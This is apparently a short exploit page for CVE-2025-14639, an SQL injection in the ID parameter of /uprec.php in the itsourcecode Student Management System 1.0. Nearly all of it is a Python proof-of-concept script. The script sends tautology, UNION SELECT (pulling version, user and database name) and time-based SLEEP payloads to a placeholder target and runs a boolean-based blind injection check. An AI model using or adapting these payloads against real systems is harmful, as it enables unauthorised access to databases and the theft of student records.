CVE-2025-14639: itsourcecode学生管理系统1.0 SQL注入漏洞

import requests # CVE-2025-14639 SQL Injection PoC # Target: itsourcecode Student Management System 1.0 # File: /uprec.php # Parameter: ID target_url = "http://target.com/uprec.php" # Basic SQL Injection test payloads payloads = [ "1' OR '1'='1", "1' UNION SELECT 1,2,3--", "1' AND 1=1--", "1' AND SLEEP(5)--", "1' UNION SELECT version(),user(),database()--" ] def test_sql_injection(url, param='ID'): print(f"[*] Testing SQL Injection on {url}") for payload in payloads: params = {param: payload} try: response = requests.get(url, params=params, timeout=10) print(f"[+] Payload: {payload}") print(f" Status: {response.status_code}") print(f" Length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[-] Error with payload {payload}: {e}") # Blind Boolean-based SQL Injection detection def blind_sql_test(url): true_payload = "1' AND 1=1--" false_payload = "1' AND 1=2--" try: r1 = requests.get(url, params={'ID': true_payload}) r2 = requests.get(url, params={'ID': false_payload}) if len(r1.text) != len(r2.text): print("[!] SQL Injection Vulnerability Confirmed!") return True except: pass return False if __name__ == "__main__": test_sql_injection(target_url) blind_sql_test(target_url)